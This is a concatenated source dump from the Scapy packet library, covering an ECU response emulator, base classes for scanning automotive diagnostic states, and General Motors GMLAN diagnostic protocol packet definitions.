"prn", "stop_filter", "timeout"] # noqa: E501 def parse_options(self, supported_responses=None, main_socket=None, broadcast_socket=None, basecls=Raw, timeout=None): self.main_socket = main_socket self.sockets = [self.main_socket] if broadcast_socket is not None: self.sockets.append(broadcast_socket) self.ecu_state = ECU(logging=False, verbose=False, store_supported_responses=False) self.basecls = basecls self.supported_responses = supported_responses self.sniff_options["timeout"] = timeout self.sniff_options["opened_socket"] = self.sockets def is_request(self, req): return req.__class__ == self.basecls def print_reply(self, req, reply): print("%s ==> %s" % (req.summary(), [res.summary() for res in reply])) def make_reply(self, req): if self.supported_responses is not None: for resp in self.supported_responses: if not isinstance(resp, ECUResponse): raise Scapy_Exception("Unsupported type for response. " "Please use `ECUResponse` objects. ") if not resp.in_correct_session(self.ecu_state.current_session): continue if not resp.has_security_access( self.ecu_state.current_security_level): continue if not resp.answers(req): continue for r in resp.responses: for layer in r.layers(): if hasattr(layer, "modifies_ecu_state"): layer.modifies_ecu_state(r, self.ecu_state) return resp.responses return PacketList([self.basecls(b"\x7f" + bytes(req)[0:1] + b"\x10")]) def send_reply(self, reply): for p in reply: time.sleep(conf.contribs['ECU_am']['send_delay']) if len(reply) > 1: time.sleep(random.uniform(0.01, 0.5)) self.main_socket.send(p) scapy-2.4.4/scapy/contrib/automotive/enumerator.py000066400000000000000000000355441372370053500223660ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = Enumerator and Automotive Scanner Baseclasses # scapy.contrib.status = loads from collections import defaultdict, namedtuple from scapy.error import Scapy_Exception, log_interactive, warning from scapy.utils import make_lined_table, SingleConversationSocket from scapy.modules import six from scapy.contrib.automotive.ecu import ECU_State class Graph: def __init__(self): """ self.edges is a dict of all possible next nodes e.g. {'X': ['A', 'B', 'C', 'E'], ...} self.weights has all the weights between two nodes, with the two nodes as a tuple as the key e.g. {('X', 'A'): 7, ('X', 'B'): 2, ...} """ self.edges = defaultdict(list) self.weights = {} def add_edge(self, from_node, to_node, weight=1): # Note: assumes edges are bi-directional self.edges[from_node].append(to_node) self.edges[to_node].append(from_node) self.weights[(from_node, to_node)] = weight self.weights[(to_node, from_node)] = weight @property def nodes(self): return self.edges.keys() @staticmethod def dijsktra(graph, initial, end): # shortest paths is a dict of nodes # whose value is a tuple of (previous node, weight) shortest_paths = {initial: (None, 0)} current_node = initial visited = set() while current_node != end: visited.add(current_node) destinations = graph.edges[current_node] weight_to_current_node = shortest_paths[current_node][1] for next_node in destinations: weight = \ graph.weights[(current_node, next_node)] + \ weight_to_current_node if next_node not in shortest_paths: shortest_paths[next_node] = (current_node, weight) else: current_shortest_weight = shortest_paths[next_node][1] if current_shortest_weight > weight: shortest_paths[next_node] = (current_node, weight) next_destinations = {node: shortest_paths[node] for node in shortest_paths if node not in visited} if not next_destinations: return None # next node is the destination with the lowest weight current_node = min(next_destinations, key=lambda k: next_destinations[k][1]) # Work back through destinations in shortest path path = [] while current_node is not None: path.append(current_node) next_node = shortest_paths[current_node][0] current_node = next_node # Reverse path path.reverse() return path class Enumerator(object): """ Base class for Enumerators Args: sock: socket where enumeration takes place """ description = "About my results" negative_response_blacklist = [] ScanResult = namedtuple("ScanResult", "state req resp") def __init__(self, sock): self.sock = sock self.results = list() self.stats = {"answered": 0, "unanswered": 0, "answertime_max": 0, "answertime_min": 0, "answertime_avg": 0, "negative_resps": 0} self.state_completed = defaultdict(bool) self.retry_pkt = None self.request_iterators = dict() @property def completed(self): return all([self.state_completed[s] for s in self.scanned_states]) def pre_scan(self, global_configuration): pass def scan(self, state, requests, timeout=1, **kwargs): if state not in self.request_iterators: self.request_iterators[state] = iter(requests) if self.retry_pkt: it = [self.retry_pkt] else: it = self.request_iterators[state] log_interactive.debug("Using iterator %s in state %s" % (it, state)) for req in it: try: res = self.sock.sr1(req, timeout=timeout, verbose=False) except ValueError as e: warning("Exception in scan %s" % e) break self.results.append(Enumerator.ScanResult(state, req, res)) if self.evaluate_response(res, **kwargs): return self.update_stats() self.state_completed[state] = True def post_scan(self, global_configuration): pass def evaluate_response(self, response, **kwargs): return self is None # always return False by default def dump(self, completed_only=True): if completed_only: selected_states = [k for k, v in self.state_completed.items() if v] else: selected_states = self.state_completed.keys() data = [{"state": str(s), "protocol": str(req.__class__.__name__), "req_time": req.sent_time, "req_data": str(req), "resp_time": resp.time if resp is not None else None, "resp_data": str(resp) if resp is not None else None, "isotp_params": { "resp_src": resp.src, "resp_dst": resp.dst, "resp_exsrc": resp.exsrc, "resp_exdst": resp.exdst} if resp is not None else None} for s, req, resp in self.results if s in selected_states] return {"format_version": 0.1, "name": str(self.__class__.__name__), "states_completed": [(str(k), v) for k, v in self.state_completed.items()], "data": data} def remove_completed_states(self): selected_states = [k for k, v in self.state_completed.items() if not v] uncompleted_results = [r for r in self.results if r.state in selected_states] self.results = uncompleted_results def update_stats(self): answered = self.filtered_results unanswered = [r for r in self.results if r.resp is None] answertimes = [x.resp.time - x.req.sent_time for x in answered if x.resp.time is not None and x.req.sent_time is not None] nrs = [r.resp for r in self.filtered_results if r.resp.service == 0x7f] try: self.stats["answered"] = len(answered) self.stats["unanswered"] = len(unanswered) self.stats["negative_resps"] = len(nrs) self.stats["answertime_max"] = max(answertimes) self.stats["answertime_min"] = min(answertimes) self.stats["answertime_avg"] = sum(answertimes) / len(answertimes) except (ValueError, ZeroDivisionError): for k, v in self.stats.items(): if v is None: self.stats[k] = 0 @property def filtered_results(self): return [r for r in self.results if r.resp is not None] @property def scanned_states(self): return set([s for s, _, _, in self.results]) def show_negative_response_details(self, dump=False): raise NotImplementedError("This needs a protocol specific " "implementation") def show(self, dump=False, filtered=True, verbose=False): s = "\n\n" + "=" * (len(self.description) + 10) + "\n" s += " " * 5 + self.description + "\n" s += "-" * (len(self.description) + 10) + "\n" s += "%d requests were sent, %d answered, %d unanswered" % \ (len(self.results), self.stats["answered"], self.stats["unanswered"]) + "\n" s += "Times between request and response:\tMIN: %f\tMAX: %f\tAVG: %f" \ % (self.stats["answertime_min"], self.stats["answertime_max"], self.stats["answertime_avg"]) + "\n" s += "%d negative responses were received" % \ self.stats["negative_resps"] + "\n" if not dump: print(s) s = "" else: s += "\n" s += self.show_negative_response_details(dump) or "" + "\n" if len(self.negative_response_blacklist): s += "The following negative response codes are blacklisted: " s += "%s" % self.negative_response_blacklist + "\n" if not dump: print(s) else: s += "\n" data = self.results if not filtered else self.filtered_results if len(data): s += make_lined_table(data, self.get_table_entry, dump=dump) or "" else: s += "=== No data to display ===\n" if verbose: completed = [(x, self.state_completed[x]) for x in self.scanned_states] s += make_lined_table(completed, lambda tup: ("Scan state completed", tup[0], tup[1]), dump=dump) or "" return s if dump else None @staticmethod def get_table_entry(tup): raise NotImplementedError() @staticmethod def get_label(response, positive_case="PR: PositiveResponse", negative_case="NR: NegativeResponse"): if response is None: label = "Timeout" elif response.service == 0x7f: # FIXME: service is a protocol specific field label = negative_case else: if isinstance(positive_case, six.string_types): label = positive_case elif callable(positive_case): label = positive_case() else: raise Scapy_Exception("Unsupported Type for positive_case. " "Provide a string or a function.") return label class Scanner(object): default_enumerator_clss = [] def __init__(self, socket, reset_handler=None, enumerators=None, **kwargs): # The TesterPresentSender can interfere with a enumerator, since a # target may only allow one request at a time. # The SingleConversationSocket prevents interleaving requests. if not isinstance(socket, SingleConversationSocket): self.socket = SingleConversationSocket(socket) else: self.socket = socket self.tps = None # TesterPresentSender self.target_state = ECU_State() self.reset_handler = reset_handler self.verbose = kwargs.get("verbose", False) if enumerators: # enumerators can be a mix of classes or instances self.enumerators = [e(self.socket) for e in enumerators if not isinstance(e, Enumerator)] + [e for e in enumerators if isinstance(e, Enumerator)] # noqa: E501 else: self.enumerators = [e(self.socket) for e in self.default_enumerator_clss] # noqa: E501 self.enumerator_classes = [e.__class__ for e in self.enumerators] self.state_graph = Graph() self.state_graph.add_edge(ECU_State(), ECU_State()) self.configuration = \ {"dynamic_timeout": kwargs.pop("dynamic_timeout", False), "enumerator_classes": self.enumerator_classes, "verbose": self.verbose, "state_graph": self.state_graph, "delay_state_change": kwargs.pop("delay_state_change", 0.5)} for e in self.enumerators: self.configuration[e.__class__] = kwargs.pop( e.__class__.__name__ + "_kwargs", dict()) for conf_key in self.enumerators: conf_val = self.configuration[conf_key.__class__] for kwargs_key, kwargs_val in kwargs.items(): if kwargs_key not in conf_val.keys(): conf_val[kwargs_key] = kwargs_val self.configuration[conf_key.__class__] = conf_val log_interactive.debug("The following configuration was created") log_interactive.debug(self.configuration) def dump(self, completed_only=True): return {"format_version": 0.1, "enumerators": [e.dump(completed_only) for e in self.enumerators], "state_graph": [str(p) for p in self.get_state_paths()], "dynamic_timeout": self.configuration["dynamic_timeout"], "verbose": self.configuration["verbose"], "delay_state_change": self.configuration["delay_state_change"]} def get_state_paths(self): paths = [Graph.dijsktra(self.state_graph, ECU_State(), s) for s in self.state_graph.nodes if s != ECU_State()] return sorted([p for p in paths if p is not None] + [[ECU_State()]], key=lambda x: x[-1]) def reset_target(self): log_interactive.info("[i] Target reset") self.reset_tps() if self.reset_handler: try: self.reset_handler(self) except TypeError: self.reset_handler() self.target_state = ECU_State() def execute_enumerator(self, enumerator): enumerator_kwargs = self.configuration[enumerator.__class__] enumerator.pre_scan(self.configuration) enumerator.scan(state=self.target_state, **enumerator_kwargs) enumerator.post_scan(self.configuration) def reset_tps(self): if self.tps: self.tps.stop() self.tps = None def scan(self): scan_complete = False while not scan_complete: scan_complete = True log_interactive.info("[i] Scan paths %s" % self.get_state_paths()) for p in self.get_state_paths(): log_interactive.info("[i] Scan path %s" % p) final_state = p[-1] for e in self.enumerators: if e.state_completed[final_state]: log_interactive.debug("[+] State %s for %s completed" % (repr(final_state), e)) continue if not self.enter_state_path(p): log_interactive.error("[-] Error entering path %s" % p) continue log_interactive.info("[i] EXECUTE SCAN %s for path %s" % (e.__class__.__name__, p)) self.execute_enumerator(e) scan_complete = False self.reset_target() def enter_state_path(self, path): if path[0] != ECU_State(): raise Scapy_Exception( "Initial state of path not equal reset state of the target") self.reset_target() if len(path) == 1: return True for s in path[1:]: if not self.enter_state(s): return False return True def enter_state(self, state): raise NotImplementedError scapy-2.4.4/scapy/contrib/automotive/gm/000077500000000000000000000000001372370053500202235ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/gm/__init__.py000066400000000000000000000004671372370053500223430ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive gm specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/gm/gmlan.py000066400000000000000000000673541372370053500217120ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # Copyright (C) Enrico Pozzobon # This program is published under a GPLv2 license # scapy.contrib.description = General Motors Local Area Network (GMLAN) # scapy.contrib.status = loads import struct from scapy.fields import ObservableDict, XByteEnumField, ByteEnumField, \ ConditionalField, XByteField, StrField, XShortEnumField, XShortField, \ X3BytesField, XIntField, ShortField, PacketField, PacketListField, \ FieldListField from scapy.packet import Packet, bind_layers, NoPayload from scapy.config import conf from scapy.error import warning, log_loading from scapy.contrib.isotp import ISOTP """ GMLAN """ try: if conf.contribs['GMLAN']['treat-response-pending-as-answer']: pass except KeyError: log_loading.info("Specify \"conf.contribs['GMLAN'] = " "{'treat-response-pending-as-answer': True}\" to treat " "a negative response 'RequestCorrectlyReceived-" "ResponsePending' as answer of a request. \n" "The default value is False.") conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = None class GMLAN(ISOTP): @staticmethod def determine_len(x): if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] is None: warning("Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " # noqa: E501 "Assign either 2,3 or 4") if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] \ not in [2, 3, 4]: warning("Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " # noqa: E501 "Assign either 2,3 or 4") return conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == x services = ObservableDict( {0x04: 'ClearDiagnosticInformation', 0x10: 'InitiateDiagnosticOperation', 0x12: 'ReadFailureRecordData', 0x1a: 'ReadDataByIdentifier', 0x20: 'ReturnToNormalOperation', 0x22: 'ReadDataByParameterIdentifier', 0x23: 'ReadMemoryByAddress', 0x27: 'SecurityAccess', 0x28: 'DisableNormalCommunication', 0x2c: 'DynamicallyDefineMessage', 0x2d: 'DefinePIDByAddress', 0x34: 'RequestDownload', 0x36: 'TransferData', 0x3b: 'WriteDataByIdentifier', 0x3e: 'TesterPresent', 0x44: 'ClearDiagnosticInformationPositiveResponse', 0x50: 'InitiateDiagnosticOperationPositiveResponse', 0x52: 'ReadFailureRecordDataPositiveResponse', 0x5a: 'ReadDataByIdentifierPositiveResponse', 0x60: 'ReturnToNormalOperationPositiveResponse', 0x62: 'ReadDataByParameterIdentifierPositiveResponse', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x67: 'SecurityAccessPositiveResponse', 0x68: 'DisableNormalCommunicationPositiveResponse', 0x6c: 'DynamicallyDefineMessagePositiveResponse', 0x6d: 'DefinePIDByAddressPositiveResponse', 0x74: 'RequestDownloadPositiveResponse', 0x76: 'TransferDataPositiveResponse', 0x7b: 'WriteDataByIdentifierPositiveResponse', 0x7e: 'TesterPresentPositiveResponse', 0x7f: 'NegativeResponse', 0xa2: 'ReportProgrammingState', 0xa5: 'ProgrammingMode', 0xa9: 'ReadDiagnosticInformation', 0xaa: 'ReadDataByPacketIdentifier', 0xae: 'DeviceControl', 0xe2: 'ReportProgrammingStatePositiveResponse', 0xe5: 'ProgrammingModePositiveResponse', 0xe9: 'ReadDiagnosticInformationPositiveResponse', 0xea: 'ReadDataByPacketIdentifierPositiveResponse', 0xee: 'DeviceControlPositiveResponse'}) name = 'General Motors Local Area Network' fields_desc = [ XByteEnumField('service', 0, services) ] def answers(self, other): if other.__class__ != self.__class__: return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return True else: return self.payload.answers(other.payload) return False def hashret(self): if self.service == 0x7f: return struct.pack('B', self.requestServiceId) return struct.pack('B', self.service & ~0x40) @staticmethod def modifies_ecu_state(pkt, ecu): if pkt.service == 0x50: ecu.current_session = 3 elif pkt.service == 0x60: ecu.current_session = 1 ecu.communication_control = 0 ecu.current_security_level = 0 elif pkt.service == 0x68: ecu.communication_control = 1 elif pkt.service == 0xe5: ecu.current_session = 2 # ########################IDO################################### class GMLAN_IDO(Packet): subfunctions = { 0x02: 'disableAllDTCs', 0x03: 'enableDTCsDuringDevCntrl', 0x04: 'wakeUpLinks'} name = 'InitiateDiagnosticOperation' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_IDO.subfunction%") bind_layers(GMLAN, GMLAN_IDO, service=0x10) # ########################RFRD################################### class GMLAN_DTC(Packet): name = 'GMLAN DTC information' fields_desc = [ XByteField('failureRecordNumber', 0), XByteField('DTCHighByte', 0), XByteField('DTCLowByte', 0), XByteField('DTCFailureType', 0) ] def extract_padding(self, p): return "", p class GMLAN_RFRD(Packet): subfunctions = { 0x01: 'readFailureRecordIdentifiers', 0x02: 'readFailureRecordParameters'} name = 'ReadFailureRecordData' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ConditionalField(PacketField("dtc", b'', GMLAN_DTC), lambda pkt: pkt.subfunction == 0x02) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RFRD.subfunction%") bind_layers(GMLAN, GMLAN_RFRD, service=0x12) class GMLAN_RFRDPR(Packet): name = 'ReadFailureRecordDataPositiveResponse' fields_desc = [ ByteEnumField('subfunction', 0, GMLAN_RFRD.subfunctions) ] def answers(self, other): return other.__class__ == GMLAN_RFRD and \ other.subfunction == self.subfunction @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RFRDPR.subfunction%") bind_layers(GMLAN, GMLAN_RFRDPR, service=0x52) class GMLAN_RFRDPR_RFRI(Packet): failureRecordDataStructureIdentifiers = { 0x00: "PID", 0x01: "DPID" } name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordIdentifiers' fields_desc = [ ByteEnumField('failureRecordDataStructureIdentifier', 0, failureRecordDataStructureIdentifiers), PacketListField("dtcs", [], GMLAN_DTC) ] bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRI, subfunction=0x01) class GMLAN_RFRDPR_RFRP(Packet): name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordParameters' fields_desc = [ PacketField("dtc", b'', GMLAN_DTC) ] bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRP, subfunction=0x02) # ########################RDBI################################### class GMLAN_RDBI(Packet): dataIdentifiers = ObservableDict({ 0x90: "$90: VehicleIdentificationNumber (VIN)", 0x92: "$92: SystemSupplierId (SYSSUPPID)", 0x97: "$97: SystemNameOrEngineType (SNOET)", 0x98: "$98: RepairShopCodeOrTesterSerialNumber (RSCOTSN)", 0x99: "$99: ProgrammingDate (PD)", 0x9a: "$9a: DiagnosticDataIdentifier (DDI)", 0x9b: "$9b: XmlConfigurationCompatibilityIdentifier (XMLCCID)", 0x9C: "$9C: XmlDataFilePartNumber (XMLDFPN)", 0x9D: "$9D: XmlDataFileAlphaCode (XMLDFAC)", 0x9F: "$9F: PreviousStoredRepairShopCodeOrTesterSerialNumbers " "(PSRSCOTSN)", 0xA0: "$A0: manufacturers_enable_counter (MEC)", 0xA1: "$A1: ECUConfigurationOrCustomizationData (ECUCOCGD) 1", 0xA2: "$A2: ECUConfigurationOrCustomizationData (ECUCOCGD) 2", 0xA3: "$A3: ECUConfigurationOrCustomizationData (ECUCOCGD) 3", 0xA4: "$A4: ECUConfigurationOrCustomizationData (ECUCOCGD) 4", 0xA5: "$A5: ECUConfigurationOrCustomizationData (ECUCOCGD) 5", 0xA6: "$A6: ECUConfigurationOrCustomizationData (ECUCOCGD) 6", 0xA7: "$A7: ECUConfigurationOrCustomizationData (ECUCOCGD) 7", 0xA8: "$A8: ECUConfigurationOrCustomizationData (ECUCOCGD) 8", 0xB0: "$B0: ECUDiagnosticAddress (ECUADDR)", 0xB1: "$B1: ECUFunctionalSystemsAndVirtualDevices (ECUFSAVD)", 0xB2: "$B2: GM ManufacturingData (GMMD)", 0xB3: "$B3: Data Universal Numbering System Identification (DUNS)", 0xB4: "$B4: Manufacturing Traceability Characters (MTC)", 0xB5: "$B5: GM BroadcastCode (GMBC)", 0xB6: "$B6: GM Target Vehicle (GMTV)", 0xB7: "$B7: GM Software Usage Description (GMSUD)", 0xB8: "$B8: GM Bench Verification Information (GMBVI)", 0xB9: "$B9: Subnet_Config_List_HighSpeed (SCLHS)", 0xBA: "$BA: Subnet_Config_List_LowSpeed (SCLLS)", 0xBB: "$BB: Subnet_Config_List_MidSpeed (SCLMS)", 0xBC: "$BC: Subnet_Config_List_NonCan 1 (SCLNC 1)", 0xBD: "$BD: Subnet_Config_List_NonCan 2 (SCLNC 2)", 0xBE: "$BE: Subnet_Config_List_LIN (SCLLIN)", 0xBF: "$BF: Subnet_Config_List_GMLANChassisExpansionBus (SCLGCEB)", 0xC0: "$C0: BootSoftwarePartNumber (BSPN)", 0xC1: "$C1: SoftwareModuleIdentifier (SWMI) 01", 0xC2: "$C2: SoftwareModuleIdentifier (SWMI) 02", 0xC3: "$C3: SoftwareModuleIdentifier (SWMI) 03", 0xC4: "$C4: SoftwareModuleIdentifier (SWMI) 04", 0xC5: "$C5: SoftwareModuleIdentifier (SWMI) 05", 0xC6: "$C6: SoftwareModuleIdentifier (SWMI) 06", 0xC7: "$C7: SoftwareModuleIdentifier (SWMI) 07", 0xC8: "$C8: SoftwareModuleIdentifier (SWMI) 08", 0xC9: "$C9: SoftwareModuleIdentifier (SWMI) 09", 0xCA: "$CA: SoftwareModuleIdentifier (SWMI) 10", 0xCB: "$CB: EndModelPartNumber", 0xCC: "$CC: BaseModelPartNumber (BMPN)", 0xD0: "$D0: BootSoftwarePartNumberAlphaCode", 0xD1: "$D1: SoftwareModuleIdentifierAlphaCode (SWMIAC) 01", 0xD2: "$D2: SoftwareModuleIdentifierAlphaCode (SWMIAC) 02", 0xD3: "$D3: SoftwareModuleIdentifierAlphaCode (SWMIAC) 03", 0xD4: "$D4: SoftwareModuleIdentifierAlphaCode (SWMIAC) 04", 0xD5: "$D5: SoftwareModuleIdentifierAlphaCode (SWMIAC) 05", 0xD6: "$D6: SoftwareModuleIdentifierAlphaCode (SWMIAC) 06", 0xD7: "$D7: SoftwareModuleIdentifierAlphaCode (SWMIAC) 07", 0xD8: "$D8: SoftwareModuleIdentifierAlphaCode (SWMIAC) 08", 0xD9: "$D9: SoftwareModuleIdentifierAlphaCode (SWMIAC) 09", 0xDA: "$DA: SoftwareModuleIdentifierAlphaCode (SWMIAC) 10", 0xDB: "$DB: EndModelPartNumberAlphaCode", 0xDC: "$DC: BaseModelPartNumberAlphaCode", 0xDD: "$DD: SoftwareModuleIdentifierDataIdentifiers (SWMIDID)", 0xDE: "$DE: GMLANIdentificationData (GMLANID)", 0xDF: "$DF: ECUOdometerValue (ECUODO)", 0xE0: "$E0: VehicleLevelDataRecord (VLDR) 0", 0xE1: "$E1: VehicleLevelDataRecord (VLDR) 1", 0xE2: "$E2: VehicleLevelDataRecord (VLDR) 2", 0xE3: "$E3: VehicleLevelDataRecord (VLDR) 3", 0xE4: "$E4: VehicleLevelDataRecord (VLDR) 4", 0xE5: "$E5: VehicleLevelDataRecord (VLDR) 5", 0xE6: "$E6: VehicleLevelDataRecord (VLDR) 6", 0xE7: "$E7: VehicleLevelDataRecord (VLDR) 7", 0xE8: "$E8: Subnet_Config_List_GMLANPowertrainExpansionBus (SCLGPEB)", 0xE9: "$E9: Subnet_Config_List_GMLANFrontObjectExpansionBus " "(SCLGFOEB)", 0xEA: "$EA: Subnet_Config_List_GMLANRearObjectExpansionBus (SCLGROEB)", 0xEB: "$EB: Subnet_Config_List_GMLANExpansionBus1 (SCLGEB1)", 0xEC: "$EC: Subnet_Config_List_GMLANExpansionBus2 (SCLGEB2)", 0xED: "$ED: Subnet_Config_List_GMLANExpansionBus3 (SCLGEB3)", 0xEE: "$EE: Subnet_Config_List_GMLANExpansionBus4 (SCLGEB4)", 0xEF: "$EF: Subnet_Config_List_GMLANExpansionBus5 (SCLGEB5)", }) name = 'ReadDataByIdentifier' fields_desc = [ XByteEnumField('dataIdentifier', 0, dataIdentifiers) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RDBI.dataIdentifier%") bind_layers(GMLAN, GMLAN_RDBI, service=0x1A) class GMLAN_RDBIPR(Packet): name = 'ReadDataByIdentifierPositiveResponse' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_RDBIPR.dataIdentifier%"), bytes(pkt[1].payload)) def answers(self, other): return other.__class__ == GMLAN_RDBI and \ other.dataIdentifier == self.dataIdentifier bind_layers(GMLAN, GMLAN_RDBIPR, service=0x5A) # ########################RDBI################################### class GMLAN_RDBPI(Packet): dataIdentifiers = ObservableDict({ 0x0005: "OBD_EngineCoolantTemperature", 0x000C: "OBD_EngineRPM", 0x001f: "OBD_TimeSinceEngineStart" }) name = 'ReadDataByParameterIdentifier' fields_desc = [ FieldListField("identifiers", [], XShortEnumField('parameterIdentifier', 0, dataIdentifiers)) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RDBPI.identifiers%") bind_layers(GMLAN, GMLAN_RDBPI, service=0x22) class GMLAN_RDBPIPR(Packet): name = 'ReadDataByParameterIdentifierPositiveResponse' fields_desc = [ XShortEnumField('parameterIdentifier', 0, GMLAN_RDBPI.dataIdentifiers), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RDBPIPR.parameterIdentifier%") def answers(self, other): return other.__class__ == GMLAN_RDBPI and \ self.parameterIdentifier in other.identifiers bind_layers(GMLAN, GMLAN_RDBPIPR, service=0x62) # ########################RDBPKTI################################### class GMLAN_RDBPKTI(Packet): name = 'ReadDataByPacketIdentifier' subfunctions = { 0x00: "stopSending", 0x01: "sendOneResponse", 0x02: "scheduleAtSlowRate", 0x03: "scheduleAtMediumRate", 0x04: "scheduleAtFastRate" } fields_desc = [ XByteEnumField('subfunction', 0, subfunctions), ConditionalField(FieldListField('request_DPIDs', [], XByteField("", 0)), lambda pkt: pkt.subfunction > 0x0) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RDBPKTI.subfunction%") bind_layers(GMLAN, GMLAN_RDBPKTI, service=0xAA) # ########################RMBA################################### class GMLAN_RMBA(Packet): name = 'ReadMemoryByAddress' fields_desc = [ ConditionalField(XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), ConditionalField(X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), ConditionalField(XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)), XShortField('memorySize', 0), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RMBA.memoryAddress%") bind_layers(GMLAN, GMLAN_RMBA, service=0x23) class GMLAN_RMBAPR(Packet): name = 'ReadMemoryByAddressPositiveResponse' fields_desc = [ ConditionalField(XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), ConditionalField(X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), ConditionalField(XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)), StrField('dataRecord', None, fmt="B") ] def answers(self, other): return other.__class__ == GMLAN_RMBA and \ other.memoryAddress == self.memoryAddress @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_RMBAPR.memoryAddress%"), pkt.dataRecord) bind_layers(GMLAN, GMLAN_RMBAPR, service=0x63) # ########################SA################################### class GMLAN_SA(Packet): subfunctions = { 0: 'ReservedByDocument', 1: 'SPSrequestSeed', 2: 'SPSsendKey', 3: 'DevCtrlrequestSeed', 4: 'DevCtrlsendKey', 255: 'ReservedByDocument'} for i in range(0x05, 0x0a + 1): subfunctions[i] = 'ReservedByDocument' for i in range(0x0b, 0xfa + 1): subfunctions[i] = 'Reserved for vehicle manufacturer specific needs' for i in range(0xfb, 0xfe + 1): subfunctions[i] = 'Reserved for ECU or ' \ 'system supplier manufacturing needs' name = 'SecurityAccess' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ConditionalField(XShortField('securityKey', B""), lambda pkt: pkt.subfunction % 2 == 0) ] @staticmethod def get_log(pkt): if pkt.subfunction % 2 == 1: return pkt.sprintf("%GMLAN.service%"), \ (pkt.subfunction, None) else: return pkt.sprintf("%GMLAN.service%"), \ (pkt.subfunction, pkt.securityKey) bind_layers(GMLAN, GMLAN_SA, service=0x27) class GMLAN_SAPR(Packet): name = 'SecurityAccessPositiveResponse' fields_desc = [ ByteEnumField('subfunction', 0, GMLAN_SA.subfunctions), ConditionalField(XShortField('securitySeed', B""), lambda pkt: pkt.subfunction % 2 == 1), ] def answers(self, other): return other.__class__ == GMLAN_SA \ and other.subfunction == self.subfunction @staticmethod def get_log(pkt): if pkt.subfunction % 2 == 0: return pkt.sprintf("%GMLAN.service%"), \ (pkt.subfunction, None) else: return pkt.sprintf("%GMLAN.service%"), \ (pkt.subfunction, pkt.securitySeed) @staticmethod def modifies_ecu_state(pkt, ecu): if pkt.subfunction % 2 == 0: ecu.current_security_level = pkt.subfunction bind_layers(GMLAN, GMLAN_SAPR, service=0x67) # ########################DDM################################### class GMLAN_DDM(Packet): name = 'DynamicallyDefineMessage' fields_desc = [ XByteField('DPIDIdentifier', 0), StrField('PIDData', b'\x00\x00') ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_DDM.DPIDIdentifier%"), pkt.PIDData) bind_layers(GMLAN, GMLAN_DDM, service=0x2C) class GMLAN_DDMPR(Packet): name = 'DynamicallyDefineMessagePositiveResponse' fields_desc = [ XByteField('DPIDIdentifier', 0) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_DDMPR.DPIDIdentifier%") def answers(self, other): return other.__class__ == GMLAN_DDM \ and other.DPIDIdentifier == self.DPIDIdentifier bind_layers(GMLAN, GMLAN_DDMPR, service=0x6C) # ########################DPBA################################### class GMLAN_DPBA(Packet): name = 'DefinePIDByAddress' fields_desc = [ XShortField('parameterIdentifier', 0), ConditionalField(XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), ConditionalField(X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), ConditionalField(XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)), XByteField('memorySize', 0), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.parameterIdentifier, pkt.memoryAddress, pkt.memorySize) 